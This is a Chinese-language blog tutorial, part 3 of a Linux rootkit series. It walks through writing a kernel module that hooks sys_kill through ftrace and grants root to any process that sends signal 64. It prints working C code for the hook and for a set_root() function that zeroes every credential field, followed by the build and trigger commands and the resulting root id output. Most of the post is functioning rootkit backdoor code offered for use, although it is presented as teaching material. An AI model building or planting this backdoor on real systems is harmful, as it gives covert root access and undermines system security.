Xcellerator
Linux Rootkit 第 3 部分:Root 后门
2020-08-29 :: TheXcellerator
现在您已经知道如何创建一个可以挂钩内核内存中任何公开函数的 Linux 内核模块(第 1 部分和第 2 部分),让我们开始编写一个可以执行一些有趣操作的挂钩!
在第一个示例中,我们将制作一个 rootkit 来拦截对sys_kill
. 99%的时候,我们只使用sys_kill
(我们通常使用的用户空间工具是熟悉的kill
)来杀死一个进程,即强制它退出并停止执行。然而,它的真正目的只是向进程发送信号。这些信号可以是熟悉的信号,例如SIGTERM
或SIGKILL
- 您甚至可能使用过可自定义的信号,例如SIGUSR1
。您可以通过查看来更好地了解所有支持的内容signal(7)
。
请注意,这
kill
并不是向进程发送信号的唯一方法!当终端中正在运行某些内容时,您是否曾经按下过*Ctrl-C ?*然后你就发送了中断信号SIGINT
。
看一下signal.h
,我们发现SIG
信号的这些名称实际上只是数字(正如您将看到的,内核中的许多东西都是这种情况)。例如,在这里您将看到 被SIGKILL
定义为,这就是当我们确实希望进程终止时9
我们键入的原因。另请注意,这些数字最多只能达到(在 x86 上)。我们将实现我们自己的数字信号处理程序- 没有人会注意到这一点,对吧?kill -9 $PID``32``64
钩杀
这个钩子实际上是本系列中最简单的钩子之一。我们需要做的就是检查参数是否sig
为64
,如果是,则调用我们尚未编写的set_root()
函数。
假设您已经阅读了第 1部分和第 2部分,那么您就知道我们将如何使用 ftrace 进行挂钩,并且我们将为较新的约定以及 4.17.0 之前的版本
sys_kill
提供两个挂钩副本pt_regs
。如果这对您来说没有意义,那么您可能需要重新访问之前的两篇文章。
这就是我们的hook_kill
函数的样子。请注意,对于大多数这些帖子,我将遵守约定pt_regs
(用旧方式重写它们非常容易)。与往常一样,完整的工作源可以在repo中找到。
asmlinkage int hook_kill(const struct pt_regs *regs)
{
void set_root(void);
int sig = regs->si;
if (sig == 64)
{
printk(KERN_INFO "rootkit: giving root...\n");
set_root();
return 0;
}
return orig_kill(regs);
}
复制
sig
请注意,我们必须从si
的字段中提取参数regs
。与第 2 部分一样,我们从Linux Syscall Reference中获取此信息,它告诉我们sys_kill
确实希望在调用时sig
将其放入寄存器中。si
另一件需要注意的事情是,如果信号为64
,则实际上不会向任何进程发送任何内容!换句话说,如果我们希望set_root()
调用该函数,我们需要64
向某个东西发送信号,但该东西永远不会真正收到任何东西,所以我们选择哪个 PID 并不重要。
这就是系统调用挂钩的全部内容!容易,对吧?这个rootkit的大脑实际上来自于函数set_root()
,这就是我们现在所讲的。
更改凭证
当尝试在内核中实现一些新功能时,最好检查一下文档,看看是否可以避免一些令人头疼的问题。在这种情况下,我们脱颖而出,因为这里已经为我们准备了出色的文档。正如这份文件告诉我们的,“一个任务只能改变自己的凭证,而不能改变另一个任务的凭证”。
这意味着我们不能给任意进程 root 权限,但我们可以从已经运行的进程中给自己 root - 例如,我们应该能够 kill -64 1
从 bash 运行(记住 - PID 并不重要!),并自动成为根!
然后,文档告诉我们,我们需要一个cred
结构,它将prepare_creds()
用进程的当前凭据填充该结构。然后我们可以对此结构进行任何我们想要的更改,然后再将它们提交回进程commit_creds()
。看起来相当简单,对吧?粗略地说,我们的函数将如下所示:
void set_root(void)
{
struct cred *root;
root = prepare_creds();
if (root == NULL)
return;
/* Set the credentials to root */
commit_creds(root);
}
复制
现在我们只需要填写中间的部分即可!我们如何cred
在源代码中查找结构的布局?虽然我总是链接到 GitHub 上的内核源代码,但 GitHub 中的搜索很糟糕。出于这个原因,最好在你的 Vagrant 机器上保留一份来自torvalds 的内核源代码的副本- 这样,你就可以 grep 得到你想要的东西。在这种情况下,grep -ir struct\ cred\ {
仅给出一个结果:include/linux/cred.h。
在第 111 行,我们看到以下内容(为了清晰起见,进行了缩短):
struct cred {
/* redacted */
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fdgid; /* GID for VFS ops */
/* redacted */
}
复制
这看起来就是我们所追求的!另一个 grep,但这次再次kuid_t\;
只给出一个结果:include/linux/uidgid.h。在这里我们了解到这kuid_t
只是一个包含单个val
类型字段的结构uid_t
。这同样适用kgid_t
,但val
属于类型gid_t
。(内核确实喜欢它的struct
s!)
最后,我们发现在arch/x86/include/asm/compat.huid_t
中将和gid_t
定义为简单的(我不是说过事物几乎总是只是数字吗?)。u16
找到一些相关代码,然后深入挖掘以找到事物的正确定义的过程会一次又一次地出现。它有助于了解如何在 C 中定义事物。如果您自己无法进行这些 grep 搜索,请不要担心 - 这需要时间和对内核对象如何构造的熟悉。
鉴于这些val
字段只是u16
s,我们应该能够将它们全部设置为0
,并且在提交它们之后,我们应该成为 root!
我们的set_root()
函数现在看起来像:
void set_root(void)
{
struct cred *root;
root = prepare_creds();
if (root == NULL)
return;
root->uid.val = root->gid.val = 0;
root->euid.val = root->egid.val = 0;
root->suid.val = root->sgid.val = 0;
root->fsuid.val = root->fsgid.val = 0;
commit_creds(root);
}
复制
好的,如果您一直在关注,那么请完成您的 hook 和 ftrace 业务的其余部分(请参阅第 2 部分) - 否则您可以在此处下载完整的 rookit 源代码。
继续make
你的内核模块和insmod
它。现在只需64
向任何进程发送信号即可,例如kill -64 1
。现在检查一下id
,你就会成为 root 了!
$ sudo insmod rootkit.ko
$ kill -64 1
$ id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),111(lxd),117(lpadmin),118(sambashare),1000(vagrant)
一个有趣的旁注是,我们完全绕过了该
cred
结构的安全功能,甚至没有意识到!根据credentials.rst,一旦我们调用prepare_creds()
,current->cred_replace_mutex
就会自动锁定,直到commit_creds()
被调用为止(互斥锁有点像锁,可以防止同时写入内核中的对象)。这样做是为了防止像 ptrace 这样的东西只是附加到正在更改其凭据的进程并将该更改升级到根!我们根本没有注意到这一点,因为虽然互斥锁仍然处于锁定状态,但它被锁定以便只有我们可以进行更改!
阅读其他帖子
←Linux Rootkit 第 4 部分:通过干扰 Char 设备为 PRNG 添加后门Linux Rootkit 第 2 部分:Ftrace 和函数挂钩→
哈维菲利普斯 2020 - 伦敦, 英国:: panr制作的主题
该网站是闹鬼网络的一部分
s/linux_rootkits_02/)
哈维菲利普斯 2020 - 伦敦, 英国:: panr制作的主题
该网站是闹鬼网络的一部分